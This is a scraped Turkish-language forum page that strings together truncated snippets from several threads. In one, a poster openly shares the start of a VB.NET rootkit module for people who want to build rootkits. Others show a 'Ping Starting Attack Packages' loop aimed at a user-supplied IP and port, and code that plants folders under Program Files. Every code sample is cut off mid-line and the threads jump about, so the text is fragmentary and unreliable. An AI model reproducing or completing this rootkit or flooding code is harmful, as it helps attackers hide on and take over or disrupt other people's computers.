Eski bir web tarayıcısı kullanıyorsunuz. Bu veya diğer siteleri görüntülemekte sorunlar yaşayabilirsiniz.. Tarayıcınızı güncellemeli veya alternatif bir tarayıcı kullanmalısınız.
Olabilir Sonuçta Kodlar Alıntı
1582904318
------------------------------------------------------------------------------------------------------------------------
Bazıları Rootkit Yazılım Yapmak ister denemek ister onun için kullanıyorum.
Ve Sizinle Paylaşıyorum Bazıları Yapabilir diye...
------------------------------------------------------------------------------------------------------------------------
Bazıları Rootkit Yazılım Yapmak ister denemek ister onun için kullanıyorum.
Ve Sizinle Paylaşıyorum Bazıları Yapabilir diye Paylaşıyorum 1001 Türlü İnsan Var Sonuçta.
Rootkit bilgisayara bulaşan, çalışan işlemler arasında kendini gizleyen, kötü niyetli kişilere, uzaktan bilgisayarınızın tam hakimiyetini sağlayan tespit edilmesi oldukça zor olan bilgisayar programıdır. Virüsler gibi amacı sisteminizi yavaşlatmak ve yayılmak değildir. Bilgisayarınızın...
Module VbRootkit
'*****************
'CREATOR: Menalix
'SITE: **** (Removed due to unknowncheats.me rules)
'If used please give proper credits.
'*****************
#Region "WinAPI's"
Private Declare Function CloseHandle Lib "kernel32" (ByVal pHandle As IntPtr) As Boolean
Private Declare...
Randomize()
On Error Resume Next
If ListBox1.Items.Contains(ListBox1.SelectedIndex) = (CObj(AcceptButton)) Then
ListBox1.SelectedIndex = CInt(Int(ListBox1.SelectedIndex) * Rnd()) + 3
Else
If ListBox1.Items.Contains(ListBox1.SelectedIndex) =...
Cevaplarınız için tekrardan teşekkürler! :)
1581973542
Farkındaysan İf 'özelliği koydum eğer 99999999 rakamına geldiği zaman otomatik resetlensin diye yapdım onları yoksa bende biliyorum öyle yazmayı çok basit zaten yapımı hem okadar uğraşmadım ve uğraşdırmazda zaten , Cevabın için Teşekkür...
Public Class Form1
Dim i = 0
Dim reset As String = 0
Private Sub islem()
On Error Resume Next
i += 1
If (i >= 0) < Val(i) Then
Label1.Text = i
Else
If (i <= 999999999) > Val(i) Then
Label1.Text = reset...
Timer3.Start()
Randomize()
ListBox2.Items.Add("Ping Starting Attack Packages > " & TextBox3.Text)
Dim ip As String = TextBox3.Text
TextBox4.Text = "Port (Def 80) :"
Dim porta As Integer = Console.ReadLine
Dim x As Integer
Do...
Timer2.Start()
i = True
'// Burası Klasör Ve Klasör İçi Programlarımızı Kuracaktır.
If i = True Then
Try
My.Computer.FileSystem.CreateDirectory("C:\Program Files\ByKuş")
My.Computer.FileSystem.MoveFile("C:\Program Files\ByKuş"...